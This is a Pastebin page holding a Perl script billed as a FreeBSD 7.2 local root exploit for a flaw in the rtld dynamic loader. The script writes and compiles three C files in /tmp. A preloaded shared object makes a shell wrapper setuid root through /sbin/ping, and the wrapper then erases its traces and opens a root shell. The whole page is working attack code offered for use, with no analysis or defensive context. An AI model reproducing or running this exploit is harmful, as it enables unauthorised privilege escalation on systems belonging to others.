Advertisement
blogfakessh

#bsd

Dec 26th, 2015
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.59 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # easy and straight forward FreeBSD 7.2 local root exploit.
  3. # Bug is inside FreeBSD rtld (ELF dyn loader) local root exploit
  4. $comment=<<_EOC_;
  5. trust = !issetugid();
  6. ld_bind_now = getenv(LD_ "BIND_NOW");
  7. if (!trust) {
  8. unsetenv(LD_ "PRELOAD");
  9. unsetenv(LD_ "LIBMAP");
  10. unsetenv(LD_ "LIBRARY_PATH");
  11. unsetenv(LD_ "LIBMAP_DISABLE");
  12. _EOC_
  13.  
  14. sub drop_boomsh {
  15. open(O,">/tmp/boomsh.c") or die $!;
  16. print O<<_EOB_;
  17. #include <stdio.h>
  18. #include <sys/types.h>
  19. #include <unistd.h>
  20.  
  21. int main() {
  22. char *a[]={"/bin/sh", NULL };
  23. char *b[]={"/usr/local/bin/bash -i", NULL };
  24. setuid(0);
  25. setgid(0);
  26. unlink("/tmp/trigger");
  27. unlink("/tmp/trigger.c");
  28. unlink("/tmp/te.so");
  29. unlink("/tmp/te.c");
  30. unlink("/tmp/boomsh.c");
  31. execve(*b, b, NULL);
  32. execve(*a, a, NULL);
  33. }
  34. _EOB_
  35. close O;
  36. system("cc /tmp/boomsh.c -o /tmp/boomsh");
  37. }
  38.  
  39. sub drop_trigger {
  40. open(O,">/tmp/trigger.c") or die $!;
  41. print O<<_EOT_;
  42. #include <stdio.h>
  43. #include <stdlib.h>
  44.  
  45. int main() {
  46. char *a[]={"/sbin/ping", NULL};
  47. char *e[]={"LD_PRELOAD=/tmp/te.so", "YYY", NULL};
  48. execve(*a,a,e);
  49. }
  50. _EOT_
  51. close O;
  52. system("cc /tmp/trigger.c -o /tmp/trigger");
  53. }
  54.  
  55. sub drop_teso {
  56. open(O, ">/tmp/te.c") or die $!;
  57. print O<<_EOS_;
  58. #include <sys/stat.h>
  59. #include <unistd.h>
  60.  
  61. void _init() {
  62. chown("/tmp/boomsh", 0, 0);
  63. chmod("/tmp/boomsh", 04755);
  64. }
  65. _EOS_
  66. close O;
  67. system("gcc -fPIC -shared -nostartfiles /tmp/te.c -o /tmp/te.so");
  68. }
  69. print "FreeBSD rtld local root exploit. Need gcc installed. [+] Trying...\n";
  70. drop_boomsh();
  71. drop_teso();
  72. drop_trigger();
  73. system("/tmp/trigger");
  74. exec "/tmp/boomsh";
  75. print "Failed!\n";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement